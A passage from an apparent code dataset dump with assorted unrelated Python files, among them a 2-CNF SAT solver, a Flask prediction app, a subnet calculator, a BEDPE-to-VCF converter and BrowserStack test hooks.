= re.compile(r'^\\d*$')\n m = {}\n for entry in sys_section:\n value = sys_section[entry]\n if int_matcher.match(value) is not None:\n m[entry] = int(value)\n else:\n m[entry] = value\n\n m['stop_date'] = datetime.strptime(m['stop_date'], '%Y-%m-%d')\n m['op_weekday'] = _get_op_weekdays(m['op_weekday'])\n return m\n\n\nif __name__ == '__main__':\n # print('%s' % weekday_tuple().__repr__())\n print('%s' % get_sched_config_map().__repr__())\n # raise LoginFailureException('blah, blah, blah')\n","sub_path":"python/auto_checkin/configloader.py","file_name":"configloader.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"245144745","text":"import ply.lex as lex\nimport ply.yacc as yacc\n\n\ntokens = [\n 'VAR',\n 'IMPLICATION',\n 'CONJUNCTION',\n 'DISJUNCTION',\n 'LPAREN',\n 'RPAREN',\n]\n\n\nstates = (\n ('negation', 'exclusive'),\n)\n\n\nt_IMPLICATION = r'->'\nt_CONJUNCTION = r'/\\\\'\nt_DISJUNCTION = r'\\\\/'\nt_LPAREN = r'\\('\nt_RPAREN = r'\\)'\n\n\ndef t_NEGATION(t):\n r'~'\n t.lexer.begin('negation')\n\n\ndef t_negation_VAR(t):\n r'[a-z]'\n val = t.value\n if val in t.lexer.values_of_variables:\n t.value = t.lexer.values_of_variables.index(val) + 1\n else:\n t.lexer.values_of_variables.append(val)\n t.value = len(t.lexer.values_of_variables)\n t.value *= (-1)\n t.lexer.begin('INITIAL')\n return t\n\n\ndef t_VAR(t):\n r'[a-z]'\n val = t.value\n if val in t.lexer.values_of_variables:\n t.value = t.lexer.values_of_variables.index(val)+1\n else:\n t.lexer.values_of_variables.append(val)\n t.value = len(t.lexer.values_of_variables)\n return t\n\n\ndef t_newline(t):\n r'\\n+'\n t.lexer.lineno += len(t.value)\n\n\nt_negation_ignore = \" \\t\\n\"\n\n\nt_ignore = ' \\t'\n\n\ndef t_negation_error(t):\n print('Lexical error: \"' + str(t.value[0]) + '\" in line ' + str(t.lineno))\n t.lexer.skip(1)\n\n\ndef t_error(t):\n print(\"Illegal character '%s'\" % t.value[0])\n t.lexer.skip(1)\n\n\nlexer = lex.lex()\nlexer.values_of_variables = []\n\nclauses = []\n\n\ndef p_Fm_conj(p):\n 'Fm : Fm CONJUNCTION Clause'\n clauses.append(p[3])\n\n\ndef p_Fm_term(p):\n 'Fm : Clause'\n clauses.append(p[1])\n\n\ndef p_Clause_impl(p):\n 'Clause : LPAREN Var IMPLICATION Var RPAREN'\n p[0] = ((-1) * p[2], p[4])\n\n\ndef p_term_disj(p):\n 'Clause : LPAREN Var DISJUNCTION Var RPAREN'\n p[0] = (p[2], p[4])\n\n\ndef p_term_literal(p):\n 'Clause : Var'\n p[0] = (p[1], 0)\n\n\ndef p_literal_simple(p):\n 'Var : VAR'\n p[0] = p[1]\n\n\ndef p_error(p):\n message = \"\"\"\n Syntax error!\n Ensure you follow this grammar: \n Fm ::= Fm /\\ Clause | Clause\")\n Clause ::= ( Var -> Var ) |\")\n ( Var \\/ Var ) |\")\n Var\"\n Var ::= literal | ~ literal\n \"\"\"\n print(message)\n raise SyntaxError(\"error in input!\")\n\n\ndef find_resolution(el1, el2):\n for i in range(2):\n for j in range(2):\n if el1[i] != 0 and el2[j] != 0 and el1[i] + el2[j] == 0:\n new_pair = (el1[(i+1) % 2], el2[(j+1) % 2])\n if new_pair[0] != 0 and new_pair[1] != 0 and new_pair[0] + new_pair[1] == 0:\n return (0, 0)\n return new_pair\n return 0\n\n\ndef resolution(left_bound, arr):\n init_size = len(arr)\n # NB For edge cases\n if len(arr) == 2:\n abs_set_one = abs(arr[0][0]), abs(abs(arr[0][1]))\n abs_set_two = abs(arr[1][0]), abs(abs(arr[1][1]))\n if abs_set_one[0] == abs_set_two[1] and abs_set_one[1] == abs_set_two[0]:\n return init_size, arr\n for i in range(left_bound, init_size):\n elem = arr[i]\n for j in range(0, left_bound):\n new_elem = find_resolution(elem, arr[j])\n if new_elem == 0:\n continue\n if new_elem == (0, 0):\n return -1, arr\n else:\n arr.append(new_elem)\n return init_size, arr\n\n\ndef main(clauses):\n left_bound = 1\n while left_bound != len(clauses):\n left_bound, clauses = resolution(left_bound, clauses)\n if left_bound == -1:\n return False\n return True\n\n\nif __name__ == '__main__':\n parser = yacc.yacc()\n print(\"(Works with 2CNF)\")\n print(\"type exit in order to close bool\")\n while True:\n try:\n s = input('\\nbool > ')\n if s == 'exit':\n break\n except EOFError:\n break\n if not s: continue\n\n try:\n parser.parse(s)\n is_satisfiable = main(clauses)\n if is_satisfiable:\n print('\\033[1;32;40m' + '\\n\\t{}\\tis satisfiable'.format(s) + '\\x1b[0m')\n else:\n print('\\033[1;31;40m' + '\\n\\t{}\\tis unsatisfiable'.format(s) + '\\x1b[0m')\n except SyntaxError:\n continue\n clauses.clear() # Used to fix sideeffects\n\n","sub_path":"bool.py","file_name":"bool.py","file_ext":"py","file_size_in_byte":4262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"19361905","text":"from django.core.management.base import BaseCommand\nfrom django.db import models\n\n\nclass Command(BaseCommand):\n\n help = 'Prints all project models and the count of objects in every model'\n\n def handle(self, **options):\n for app in models.get_apps():\n for model in models.get_models(app):\n objects_count = model.objects.count()\n self.stdout.write('%s: objects: %s\\n'\n % (model.__name__, objects_count))\n self.stderr.write('error: %s: objects: %s\\n'\n % (model.__name__, objects_count))\n","sub_path":"apps/hello/management/commands/print_objects_count.py","file_name":"print_objects_count.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"303563073","text":"from appium import webdriver\nfrom browserstack.local import Local\nimport os, json\n\nconfig_file_path = os.path.join(os.path.dirname(__file__), '..', \"config.json\")\nprint(\"Path to the config file = %s\" % (config_file_path))\nwith open(config_file_path) as config_file:\n CONFIG = json.load(config_file)\n\n# Take user credentials from environment variables if they are defined\nif 'BROWSERSTACK_USERNAME' in os.environ: CONFIG['capabilities']['browserstack.user'] = os.environ['BROWSERSTACK_USERNAME'] \nif 'BROWSERSTACK_ACCESS_KEY' in os.environ: CONFIG['capabilities']['browserstack.key'] = os.environ['BROWSERSTACK_ACCESS_KEY']\n\ndef start_local():\n \"\"\"Starts BrowserStack local\"\"\"\n global bs_local\n bs_local = Local()\n bs_local_args = { \"key\": CONFIG['capabilities']['browserstack.key'], \"forcelocal\": \"true\" }\n bs_local.start(**bs_local_args)\n\ndef stop_local():\n \"\"\"Stops BrowserStack Local\"\"\"\n global bs_local\n if bs_local is not None:\n bs_local.stop() \n\ndef before_all(context):\n # Start BrowserStack Local before start of the test suite\n start_local()\n\ndef before_feature(context, feature):\n desired_capabilities = CONFIG['capabilities']\n context.browser = webdriver.Remote(\n desired_capabilities=desired_capabilities,\n command_executor=\"http://hub-cloud.browserstack.com/wd/hub\"\n )\n\ndef after_feature(context, feature):\n # Invoke driver.quit() after the test is done to indicate to BrowserStack \n # that the test is completed. Otherwise, test will appear as timed out on BrowserStack.\n context.browser.quit()\n\ndef after_all(context):\n # Stop BrowserStack Local after end of the test suite\n stop_local()","sub_path":"android/examples/run-local-test/features/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"418961781","text":"from flask import Flask, render_template, request\r\nimport pickle\r\nfrom sklearn.preprocessing import StandardScaler\r\n\r\napp = Flask(__name__)\r\n\r\n# Load in our model\r\nmodel = pickle.load(open('random_forest_regression_model.pkl', 'rb'))\r\n\r\n@app.route('/', methods=['GET'])\r\ndef Home():\r\n return render_template('index.html')\r\n\r\n\r\nstandard_to = StandardScaler()\r\n\r\n@app.route('/predict', methods=['POST'])\r\ndef predict():\r\n Fuel_Type_Diesel = 0\r\n if request.method == 'POST':\r\n # Reference name in index.html\r\n year = int(request.form['Year'])\r\n year = 2020 - year\r\n present_price = float(request.form['Present_Price'])\r\n kms_driven = int(request.form['Kms_Driven'])\r\n owner = int(request.form['Owner'])\r\n\r\n # Handling Fuel Types\r\n Fuel_Type_Petrol = request.form['Fuel_Type_Petrol']\r\n if Fuel_Type_Petrol == 'Petrol':\r\n Fuel_Type_Petrol = 1\r\n Fuel_Type_Diesel = 0\r\n \r\n elif Fuel_Type_Petrol == 'Diesel':\r\n Fuel_Type_Petrol = 0\r\n Fuel_Type_Diesel = 1\r\n\r\n else:\r\n Fuel_Type_Petrol = 0\r\n Fuel_Type_Diesel = 0\r\n\r\n Seller_Type_Individual = request.form['Seller_Type_Individual']\r\n if Seller_Type_Individual == 'Individual':\r\n # Individual\r\n Seller_Type_Individual = 1\r\n else:\r\n # Dealer\r\n Seller_Type_Individual = 0\r\n\r\n Transmission_Manual = request.form['Transmission_Manual']\r\n if Transmission_Manual == 'Manual':\r\n Transmission_Manual = 1\r\n else:\r\n Transmission_Manual = 0\r\n \r\n prediction = model.predict([[present_price, \r\n year, kms_driven, owner, Fuel_Type_Petrol, \r\n Fuel_Type_Diesel, Seller_Type_Individual, Transmission_Manual]])\r\n\r\n output= round(prediction[0], 2)\r\n if output < 0:\r\n return render_template('predicted.html', prediction_text='Sorry, you cannot sell this car any longer')\r\n \r\n else:\r\n return render_template('predicted.html', prediction_text= f'You can sell this car at {output} lakhs')\r\n else:\r\n return render_template('index.html')\r\nif __name__ == '__main__':\r\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"413075448","text":"#!/usr/bin/env python3\n\nimport binascii\n\nimport hid\n\n\nfor dev in hid.enumerate():\n vid, pid = dev['vendor_id'], dev['product_id']\n if vid == 0x054c and pid == 0x09cc:\n handle = hid.device()\n handle.open(vid, pid)\n try:\n data = bytes(handle.get_feature_report(0x12, 64))\n btaddr = ':'.join(['%02x' % val for val in reversed(data[1:7])])\n paired = ':'.join(['%02x' % val for val in reversed(data[10:16])])\n print('BT addr: %s' % btaddr.upper())\n print('Currently paired to %s' % paired.upper())\n data = bytes(handle.get_feature_report(0x02, 64))\n print('IMU: %s' % ' '.join(['%02x' % val for val in data[1:]]))\n finally:\n handle.close()\n break\nelse:\n print('No DualShock found')\n","sub_path":"tools/ds4info.py","file_name":"ds4info.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"387750985","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)]\n# Embedded file name: T:\\InGame\\Gameplay\\Scripts\\Server\\fishing\\fish_bowl_object.py\n# Compiled at: 2020-05-14 22:52:19\n# Size of source mod 2**32: 7222 bytes\nfrom protocolbuffers import UI_pb2 as ui_protocols\nfrom event_testing.tests import CompoundTestList\nfrom objects.components import types\nimport broadcasters.environment_score.environment_score_component, objects.game_object, sims4.log, vfx\nlogger = sims4.log.Logger('Fishing', default_owner='TrevorLindsey')\n\nclass FishBowl(objects.game_object.GameObject):\n VFX_SLOT_HASH = sims4.hash_util.hash32('_FX_')\n\n def __init__(self, *args, **kwargs):\n (super().__init__)(*args, **kwargs)\n self._fish_vfx = None\n self.add_component(FishBowlTooltipComponent(self, custom_tooltips=(), state_value_numbers=(),\n state_value_strings=(),\n tooltip_tests=(CompoundTestList()),\n update_if_stat_or_buck_changes=False,\n update_on_game_option_changed=False))\n self._disable_tooltip()\n\n def get_fish(self):\n for obj in self.inventory_component:\n return obj\n\n def on_object_added_to_inventory(self, fish):\n current_fish = self.get_fish()\n if not current_fish or current_fish is not fish:\n logger.error(\"The fish_added function was called but there is\\n either no fish in this fish bowl or the fish in it doesn't match\\n the fish making the function called.\")\n return\n if current_fish.fishbowl_vfx is not None:\n self._fish_vfx = vfx.PlayEffect(self, current_fish.fishbowl_vfx, self.VFX_SLOT_HASH)\n self._fish_vfx.start()\n self._enable_tooltip()\n self.add_dynamic_component(objects.components.types.ENVIRONMENT_SCORE_COMPONENT)\n\n def on_object_removed_from_inventory(self, fish):\n if self._fish_vfx is not None:\n self._fish_vfx.stop()\n self._fish_vfx = None\n tooltip_component = self.get_component(types.TOOLTIP_COMPONENT)\n if tooltip_component is not None:\n tooltip_component.remove_tooltip_listeners()\n self._disable_tooltip()\n self.remove_component(objects.components.types.ENVIRONMENT_SCORE_COMPONENT)\n\n def _ui_metadata_gen(self):\n fish = self.get_fish()\n if fish is not None:\n yield from fish._ui_metadata_gen()\n else:\n return\n if False:\n yield None\n\n def get_environment_score(self, sim, ignore_disabled_state=False):\n fish = self.get_fish()\n if fish is None:\n return broadcasters.environment_score.environment_score_component.EnvironmentScoreComponent.ENVIRONMENT_SCORE_ZERO\n return fish.get_environment_score(sim, ignore_disabled_state=ignore_disabled_state)\n\n def potential_interactions(self, *args, **kwargs):\n fish = self.get_fish()\n if fish is not None:\n yield from (fish.potential_interactions)(*args, **kwargs)\n yield from (super().potential_interactions)(*args, **kwargs)\n if False:\n yield None\n\n def _enable_tooltip(self):\n self.hover_tip = ui_protocols.UiObjectMetadata.HOVER_TIP_CUSTOM_OBJECT\n self.update_object_tooltip()\n\n def _disable_tooltip(self):\n self.hover_tip = ui_protocols.UiObjectMetadata.HOVER_TIP_DISABLED\n self.update_object_tooltip()\n\n\nclass FishBowlTooltipComponent(objects.components.tooltip_component.TooltipComponent):\n\n def _ui_metadata_gen(self):\n fish = self.owner.get_fish()\n if fish is None:\n return\n yield from fish._ui_metadata_gen()\n if False:\n yield None\n\n def _get_fish_tooltip_component(self):\n fish = self.owner.get_fish()\n if fish is None:\n return\n return fish.get_component(types.TOOLTIP_COMPONENT)\n\n def _get_custom_tooltips(self):\n fish_tooltip_component = self._get_fish_tooltip_component()\n if fish_tooltip_component is None:\n return super()._get_custom_tooltips()\n return fish_tooltip_component._get_custom_tooltips()\n\n def _get_tooltip_owner(self):\n fish = self.owner.get_fish()\n if fish is None or fish.get_component(types.TOOLTIP_COMPONENT) is None:\n return self.owner\n return fish\n\n @property\n def should_update_if_stat_or_buck_changes(self):\n fish_tooltip_component = self._get_fish_tooltip_component()\n if fish_tooltip_component is None:\n return self.update_if_stat_or_buck_changes\n return fish_tooltip_component.update_if_stat_or_buck_changes\n\n @property\n def should_update_on_game_option_changed(self):\n fish_tooltip_component = self._get_fish_tooltip_component()\n if fish_tooltip_component is None:\n return self.update_on_game_option_changed\n return fish_tooltip_component.update_on_game_option_changed","sub_path":"Scripts/simulation/fishing/fish_bowl_object.py","file_name":"fish_bowl_object.py","file_ext":"py","file_size_in_byte":5053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"88694990","text":"import sys\n#Parameter definiëren\nFout_invoering_message = \"IP-adres en/of subnetmasker is ongeldig.\"\n\n#Stap 1 + Stap 2\n##IPv4-hostadres opvragen\n##subnetmasker opvragen\n \ndef ask_for_number_sequence(message):\n antwoord = input(message)\n return [int(elem) for elem in antwoord.split(\".\")]\n\n \n#Stap 3 \n##ip-adres geldigheid controleren\n\ndef is_valid_ip_address(numberlist):\n block =[(print(Fout_invoering_message), sys.exit(0)) for elem in numberlist if elem > 255 or elem < 0 or len(numberlist) != 4 ]\n return block\n\n\n##subnetmasker geldigheid controleren\n\ndef is_valid_netmask(numberlist):\n###Exit als numberlist niet exact 4 elementen bevat\n \n if len(numberlist) !=4 :\n print(Fout_invoering_message)\n sys.exit(0)\n \n#checking_ones = True\n else:\n###binaire voorstelling met 8 symbolen van elke byte bepalen en allemaal aan elkaar plakken\n binary_netmask = \"\"\n \n for elem in numberlist:\n if elem > 255 or elem < 0:\n print(Fout_invoering_message)\n sys.exit(0)\n block_binaire = f\"{int(elem):08b}\"\n binary_netmask = binary_netmask + block_binaire\n\n###checking_ones controleren\n checking_ones = True\n\n for symbol in binary_netmask :\n if checking_ones == True and symbol == \"0\":\n checking_ones = False\n elif symbol == \"1\" and checking_ones == False:\n print(Fout_invoering_message)\n sys.exit(0) \n return binary_netmask\n \n\n\n#Stap 4\n#aantal 1-bits tellen\n\ndef one_bits_in_netmask(binary_netmask):\n binary_netmask_l=\"\"\n counter = 0\n \n for elem in binary_netmask:\n block_binaire = str(f\"{int(elem):08b}\")\n binary_netmask_l = binary_netmask_l + block_binaire\n for elem in binary_netmask_l:\n if elem == \"1\": \n counter +=1 \n\n return counter\n \n\n#Stap 5 \n#adres van het subnet berekenen\n\ndef apply_network_mask(host_address,netmask):\n binary_host = \"\"\n binary_netmask = \"\"\n i = 0\n sub_str = \"\"\n\n for block in host_address:\n block_binaire = f\"{int(block):08b}\"\n binary_host = binary_host + block_binaire\n\n \n for block in netmask:\n block_binaire = f\"{int(block):08b}\"\n binary_netmask = binary_netmask + block_binaire\n\n\n while i < 32:\n if binary_host[i] == \"1\" and binary_netmask[i] == \"1\":\n sub_str = sub_str + \"1\"\n else:\n sub_str = sub_str + \"0\"\n i +=1\n\n networkID = []\n networkID_str= int(sub_str[0:8],2), int(sub_str[8:16],2) , int(sub_str[16:24],2) , int(sub_str[24:32],2)\n networkID = [int (elem) for elem in networkID_str] \n return networkID\n \n\n#Stap 6 \n#wildcardmasker berekenen\n\ndef netmask_to_wilcard_mask(subnet_masker): \n wildcard_mask = []\n for elem in subnet_masker:\n wildcard_bit = \"\"\n for bit in f\"{elem:08b}\":\n if bit == \"0\":\n wildcard_bit += \"1\"\n else:\n wildcard_bit += \"0\"\n wildcard_mask.append(int(wildcard_bit,2)) \n return wildcard_mask\n\n\n#Stap 7 \n#broadcastadres berekenen\n\ndef get_broadcast_address(network_address,wildcard_mask):\n \n binary_network = \"\"\n binary_wildcard = \"\"\n i = 0\n sub_str = \"\"\n \n for block in network_address:\n block_binaire = f\"{int(block):08b}\"\n binary_network = binary_network + block_binaire\n \n for block in wildcard_mask:\n block_binaire = f\"{int(block):08b}\"\n binary_wildcard = binary_wildcard + block_binaire\n \n\n while i < 32:\n if binary_network[i] == \"1\" or binary_wildcard[i] == \"1\":\n sub_str = sub_str + \"1\"\n else:\n sub_str = sub_str + \"0\"\n i +=1\n\n broadcast = [] \n broadcast_str= int(sub_str[0:8],2), int(sub_str[8:16],2) , int(sub_str[16:24],2) , int(sub_str[24:32],2)\n broadcast = [int (elem) for elem in broadcast_str]\n return broadcast\n\n\n#Stap 8\n#maximaal aantal hosts berekenen\n\ndef prefix_length_to_max_hosts(aantal_1_bits):\n aantal_host = 2** (32 - aantal_1_bits) - 2\n return aantal_host\n \nif __name__ == '__main__':\n # ++++++++++++++++++++++\n # ++++++++++++++++++++++\n \n #1+2\n ##IPv4-hostadres opvragen\n ##subnetmasker opvragen\n host_address = ask_for_number_sequence(\"Wat is het IP-adres?\\n\")\n subnet_mask = ask_for_number_sequence(\"Wat is het subnetmasker?\\n\")\n \n #3\n ##ip-adres geldigheid controleren\n ##subnetmasker geldigheid controleren\n is_valid_ip_address(host_address)\n is_valid_netmask(subnet_mask)\n if len(subnet_mask) ==4:\n print(\"IP-adres en subnetmasker zijn geldig.\")\n \n #4\n #aantal 1-bits tellen\n aantal_1_bits = one_bits_in_netmask(subnet_mask)\n print(\"De lengte van het subnetmasker is \" + str(aantal_1_bits) + \".\")\n \n #5\n #adres van het subnet berekenen\n netwerk_address = apply_network_mask(host_address,subnet_mask)\n print(\"Het adres van het subnet is \" + ('.'.join([str(i) for i in (netwerk_address)])) +\".\")\n \n #6\n #wildcardmasker berekenen\n wildcard_mask = netmask_to_wilcard_mask(subnet_mask)\n print(\"Het wildcardmasker is \" + ('.'.join([str(i) for i in (wildcard_mask)]))+\".\")\n \n #7\n #broadcastadres berekenen\n broadcast_address= get_broadcast_address(netwerk_address,wildcard_mask)\n print(\"Het broadcastadres is \" + ('.'.join([str(i) for i in (broadcast_address)]))+\".\")\n \n #8\n #maximaal aantal hosts berekenen\n max_anntalhosts = prefix_length_to_max_hosts(aantal_1_bits)\n print(\"Het maximaal aantal hosts op dit subnet is \" + (str(max_anntalhosts))+\".\")\n \n","sub_path":"subnetcalculator.py","file_name":"subnetcalculator.py","file_ext":"py","file_size_in_byte":5674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"559210139","text":"# python3\n\n# Given two sequences we need to partition them into n pairs (a, b)\n# such that the sum of their products is maximized.\n\n\ndef func(n, a, b):\n product = 0\n\n for i in range(n):\n product += a[i] * b[i]\n\n return product\n\n\nif __name__ == \"__main__\":\n n = int(input())\n a, b = [map(int, input().split()) for _ in range(2)]\n print(func(n, sorted(a), sorted(b)))\n","sub_path":"algorithms/greedy_algorithms/dot_product.py","file_name":"dot_product.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"369905209","text":"from svtools.vcf.variant import Variant\nimport re\n\nclass BedpeToVcfConverter(object):\n '''\n This is a class to take Bedpe objects and convert them to VCF variant object(s)\n '''\n\n def __init__(self, vcf):\n '''\n Initialize a new converter with a reference to Vcf object\n '''\n self.vcf_header = vcf\n\n @staticmethod\n def adjust_by_cipos(bedpe):\n '''\n Undo adjustments to BEDPE coordinates for the VCF POS based on confidence intervals\n '''\n position = bedpe.s1\n if bedpe.o1 == '-' and bedpe.svtype == 'BND':\n position += 1 #undo left adjust based on strandedness\n if 'CIPOS=' in bedpe.info1:\n cipos = re.split('=|,', ''.join(filter(lambda x: 'CIPOS=' in x, bedpe.info1.split(';'))))\n position -= int(cipos[1])\n return position\n\n @staticmethod\n def adjust_by_ciend(bedpe):\n '''\n Undo adjustments to BEDPE coordinates for the VCF END field based on confidence intervals\n '''\n end = bedpe.s2\n if bedpe.o2 == '-' and bedpe.svtype == 'BND':\n end += 1\n \n if 'CIEND=' in bedpe.info1: \n ciend = re.split('=|,', ''.join(filter(lambda x: 'CIEND=' in x, bedpe.info1.split(';'))))\n end -= int(ciend[1])\n return end\n\n @staticmethod\n def determine_sep(o2):\n '''\n Given the orientation of the other breakend, determine separator for VCF alt\n '''\n if o2 == '+':\n return ']'\n else:\n return '['\n\n @staticmethod\n def determine_flanks(o1):\n '''\n Given the orientation of the breakend, return proper flanking sequence strings\n '''\n if o1 == '+':\n return ('N', '')\n else:\n return ('', 'N')\n\n def bnd_alt_string(self, o1, o2, chrom, pos):\n '''\n Given a Bedpe object generate the correct alt string for a BND VCF entry\n '''\n alt_string = '{3}{0}{1}:{2}{0}{4}'\n return alt_string.format(self.determine_sep(o2), chrom, pos, *self.determine_flanks(o1))\n\n def convert(self, bedpe):\n '''\n Convert a bedpe object to Vcf object(s). Returns a list of entries.\n '''\n b1 = self.adjust_by_cipos(bedpe)\n primary_bedpe_list = [\n bedpe.c1, \n b1,\n bedpe.name,\n 'N',\n '<' + str(bedpe.svtype) + '>', #ALT\n bedpe.score,\n bedpe.filter,\n bedpe.info1\n ] + bedpe.misc\n var = Variant(primary_bedpe_list, self.vcf_header)\n to_return = [var]\n\n if bedpe.svtype == 'BND':\n b2 = self.adjust_by_ciend(bedpe)\n var.var_id += '_1'\n var.alt = self.bnd_alt_string(bedpe.o1, bedpe.o2, bedpe.c2, b2)\n \n secondary_bedpe_list = [\n bedpe.c2,\n b2,\n bedpe.name + '_2',\n 'N',\n self.bnd_alt_string(bedpe.o2, bedpe.o1, bedpe.c1, b1),\n bedpe.score,\n bedpe.filter,\n bedpe.info2\n ] + bedpe.misc\n\n var2 = Variant(secondary_bedpe_list, self.vcf_header)\n if bedpe.malformedFlag == 0:\n to_return += [var2]\n elif bedpe.malformedFlag == 1:\n #Only returning one of our entries\n to_return[0] = var2\n\n return to_return\n\n","sub_path":"svtools/bedpetovcfconverter.py","file_name":"bedpetovcfconverter.py","file_ext":"py","file_size_in_byte":3530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"8038933","text":"import pandas\nimport VectorTransformation as VT\nimport os\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nhtmlcolors = \"black, red, maroon, yellow, lime, green, aqua, blue, purple, navy, fuchsia, gray, teal\"\nhtmlcolors = [x.strip() for x in htmlcolors.split(',')]\nmpl.rcParams['axes.color_cycle'] = htmlcolors\n\ndef CreateDict():\n D = {}\n D['part'] = []\n D['robotpos'] = []\n D['vector'] = []\n D['idinpart'] = []\n return D\n\ndef FillDict(D, MakePartsResult, RobotPos='Pos1'):\n M = MakePartsResult\n for parts_key in M:\n for index, v in enumerate(M[parts_key]):\n D['part'].append(parts_key)\n D['robotpos'].append(RobotPos)\n D['idinpart'].append(index)\n D['vector'].append(v) \n\ndef TransformAlongX1X2(D, X1= VT.vector(0,0,0), X2=VT.vector(1,0,0)):\n #x0,y0,z0 are the new basis vectors\n x0 = X2 - X1\n x0 = x0 * (1./x0.length())\n z = VT.vector(0,0,1.)\n y0 = z.cross(x0)\n y0 = y0 * (1./y0.length())\n z0 = x0.cross(y0)\n\n # compute new coordinates by taking inner products\n Dprime = []\n for X in D:\n X = X - X1\n Xx = VT.vector(X.dot(x0), X.dot(y0), X.dot(z0))\n Dprime.append(Xx)\n return Dprime\n\ndef Xc(vectors):\n return np.array([x.x[0] for x in vectors])\ndef Yc(vectors):\n return np.array([x.x[1] for x in vectors])\ndef Zc(vectors):\n return np.array([x.x[2] for x in vectors])\n\ndef MakeParts(XYZ):\n '''Ellen has taken measurement in fixed order.\n We can now create parts:\n VL (Verical Left), VR, HT (Horizontal Top), HB\n '''\n R = {}\n R['HT'] = XYZ[0:26]\n R['HB'] = XYZ[26:52]\n R['VL'] = XYZ[52:62]\n R['VR'] = XYZ[62:72]\n return R \n\ndef StripSpaces(DictOfPandas, filenames):\n\t''' strip spaces of column headers and of content in the column Feature '''\n\tfor filename in filenames:\n\t\tDictOfPandas[filename].columns = [x.strip() for x in DictOfPandas[filename].columns]\n\t\tDictOfPandas[filename]['Feature'] = [x.strip() for x in DictOfPandas[filename]['Feature']]\n\ndef AddVectorColumn(DictofPandas):\n\t# add a 'vector' column\n\tfor name in DictOfPandas:\n\t Q = DictOfPandas[name]\n\t Q['vector'] = [VT.vector(x,y,z) for (x,y,z) in zip(Q['x'],Q['y'],Q['z'])]\n\ndef MakeUsefulDict(DictOfPandas):\n\tPP = []\n\tfor k, name in zip (sorted(DictOfPandas.keys()), ['Pos%i'%i for i in range(1,10)]):\n\t D = CreateDict()\n\t MakePartsResult = MakeParts(DictOfPandas[k]['vector'])\n\t FillDict(D, MakePartsResult, name)\n\t PP.append(pandas.DataFrame.from_dict(D))\n\treturn pandas.concat(PP)\n\ndef AddTransformation(dictionary):\n\t# Let us transform all vectors.\n\t# Use Pos5, and HT first and last point.\n\tA = dictionary[dictionary['robotpos'] =='Pos5']\n\tB = A[A['part']=='HT']\n\ta,b = B['vector'].values[0], B['vector'].values[-1]\n\n\tdictionary['t_vector'] = TransformAlongX1X2(dictionary['vector'], X1=a , X2=b)\n\treturn dictionary\n\ndef AddTransformationPerPos(dictionary):\n\tpos = set(dictionary['robotpos'])\n\tAB = {}\n\tfor p in pos:\n\t A = dictionary[dictionary['robotpos'] == p] # get slice of ALL where robotpos == p\n\t B = A[A['part'] == 'HT'] # get only the HT vectors out\n\t a,b = B['vector'].values[0] , B['vector'].values[-1] # select first and last point\n\t AB[p] =(a,b)\n\t \n\ttt = []\n\tfor p,v in zip(dictionary['robotpos'], dictionary['vector']):\n\t a,b = AB[p]\n\t tt.append(TransformAlongX1X2( [v], X1=a, X2=b)[0])\n\tdictionary['t_perpos_vector'] = tt\n\treturn dictionary\n\ndef CorrectForSlope(X, H):\n p = np.polyfit(X, H, deg=1)\n return X, H - np.polyval(p,X)\n\ndef AveragePoints(X, NAverage=1):\n ''' Average every group of NAverage points in X '''\n return [ mean(X[i:i+NAverage]) for i in range(0,len(X), NAverage)]\n\ndef PlotPerPosition(dictionary, part='HT', vector='t_vector', NAverage=1):\n pos = set(dictionary['robotpos'])\n plt.figure(figsize=(12,8))\n Q = dictionary[ dictionary['part'] == part ] \n for p in sorted(pos):\n V = Q[Q['robotpos']==p ][vector].values\n plt.plot(Xc(V) , Zc(V), 'o-', label=p, linewidth=1)\n plt.gca().legend(loc='upper left',bbox_to_anchor=(1, 1.0))\n plt.title('%s, %s'%(part,vector))\n\ndef Offset(data, shift):\n return data - shift\n\np,d,f = os.walk(r'./' ).next()\nfilenames = [x for x in f if '.txt' in x and 'robotpos' in x]\n\nDictOfPandas = dict([(x,pandas.read_csv( p+x, sep=';')) for x in filenames])\nStripSpaces(DictOfPandas, filenames)\nAddVectorColumn(DictOfPandas)\nusefuldict = MakeUsefulDict(DictOfPandas)\nAddTransformation(usefuldict)\nAddTransformationPerPos(usefuldict)\n#PlotPerPosition(usefuldict, 'HB')\n\n","sub_path":"measurements/robotpos_analysis.py","file_name":"robotpos_analysis.py","file_ext":"py","file_size_in_byte":4588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"631922830","text":"import os\nimport xml.etree.ElementTree as et\n\n# Get a list of all files in the annotation folder\nfiles = os.listdir(\"../data/\")\n\nfor annotation_file in files:\n # Parse XML file\n tree = et.parse(annotation_file)\n root = tree.getroot()\n\n # Count all ebio occurrences and change XML text\n counter = 0\n for annot in root.iter(\"name\"):\n keurmerk = annot.text\n if keurmerk == \"ebio\":\n annot.text = \"organic\"\n counter += 1\n print(\"Written {} annotations in file {}\".format(counter, annotation_file))\n\n # Write results to files\n 